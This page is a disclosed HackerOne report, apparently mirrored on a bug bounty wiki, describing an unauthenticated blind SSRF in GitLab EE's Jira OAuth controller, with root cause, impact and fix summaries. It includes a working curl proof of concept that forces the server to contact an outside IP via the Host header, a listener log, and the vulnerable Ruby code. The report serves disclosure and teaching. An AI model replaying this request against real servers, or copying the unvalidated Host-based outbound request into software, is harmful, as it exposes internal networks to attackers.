Skip to content
SSRF Disclosed report Intermediate

Unauthenticated blind SSRF in OAuth Jira authorization controller

The OAuth Jira authorization controller built a token URL from the attacker-controlled Host header and then made a server-side POST request to it. An unauthenticated attacker could make the GitLab instance send HTTP/HTTPS requests to arbitrary internal hosts and ports.

jobert Follow

Originally disclosed on HackerOne

Bounty$4,000 High 7.5 View original
  • Triaged in 3 days
  • Fixed in 6 months
  • Paid in 48 days
  • Disclosed after 7 months

The Oauth::Jira::AuthorizationsController#access_token endpoint is vulnerable to a blind SSRF vulnerability. The vulnerability allows an attacker to make arbitrary HTTP/HTTPS requests inside a GitLab instance's network.

Proof of concept

To reproduce the vulnerability, follow the steps below.

  • spin up a GitLab EE instance with the latest version (11.2.1-ee)
  • send a POST request to the /-/jira/login/oauth/callback endpoint, as shown below. In the request, point the Host header to the hostname / IP address and port number you want to send the request to:
curl -X POST -H 'Host: 162.243.147.21:81' 'https://gitlab.com/-/jira/login/oauth/access_token'
  • Observe a POST request being sent to 162.243.147.21:81 (in this case HTTPS):
Listening on [0.0.0.0] (family 0, port 81)
Connection from [35.231.137.154] port 81 [tcp/*] accepted (family 2, sport 58558)
��ؒ����
��/$����4�i�,�֟J%>�+�/�,�0�����#�'�	��$�(�
�gk39@j28��<=/5�l162.243.147.21

 Connection closed, listening again.

Vulnerable code

The following code can be found in the Oauth::Jira::AuthorizationsController#access_token method.

Ruby
def access_token
  auth_params = params
                  .slice(:code, :client_id, :client_secret)
                  .merge(grant_type: 'authorization_code', redirect_uri: oauth_jira_callback_url)

  auth_response = Gitlab::HTTP.post(oauth_token_url, body: auth_params, allow_local_requests: true)
  token_type, scope, token = auth_response['token_type'], auth_response['scope'], auth_response['access_token']

  render text: "access_token=#{token}&scope=#{scope}&token_type=#{token_type}"
end

The GItlab::HTTP.post call is using the oauth_token_url directly. This _url Rails routing helper uses the Host header to construct the URL it needs to point to. Because every host is accepted in GitLab, the constructed URL can point to an internal system. This is how it's supposed to work. However, the Host header should be checked before making the post call to avoid an attacker being able to make arbitrary requests.

Impact

The response of the server is actually interpreted, but this is limited to a JSON response that returns an access_token, scope, and token_type. However, this may have additional consequences in case there are unauthenticated endpoints within the instance's network. This isn't very likely, which is why the attack complexity is set to High. It has a minor impact on Availability, because a thread is blocked on the TCP read timeout, which is set to 60 seconds (curl -X POST -H 'Host: 162.243.147.21:81' 0.03s user 0.01s system 0% cpu 1:00.76 total). The integrity impact is currently set at High, but this depends on additional factors, such as what other internal services can be hit. The user does not need to be authenticated to execute the call.

The original report as published on HackerOne, by jobert. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code passed a URL built from the untrusted Host header into an outbound HTTP request without validating the host.

Impact

The server's response was only parsed for JSON token fields, but the request could reach unauthenticated internal endpoints, and each attempt blocked a thread for up to 60 seconds, giving a minor availability impact.

What the attacker needed

No authentication needed; attacker can set the Host header

The fix

The Host header should be validated before the outbound POST request is made.

How it was found

  1. Set up a GitLab EE instance running the latest version.
  2. Send a POST request to the Jira OAuth callback endpoint.
  3. Set the Host header to the internal hostname or IP address and port to target.
  4. Observe the server sending a POST request to that address.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a server fetches a URL on the user's behalf, an attacker can sometimes control where that request goes. Here the server trusted the Host header, which tells it which website name was used, to build the address of the Jira token service. By changing that header, an attacker made the server connect to internal machines that outsiders cannot normally reach.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by jobert

View all

67 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.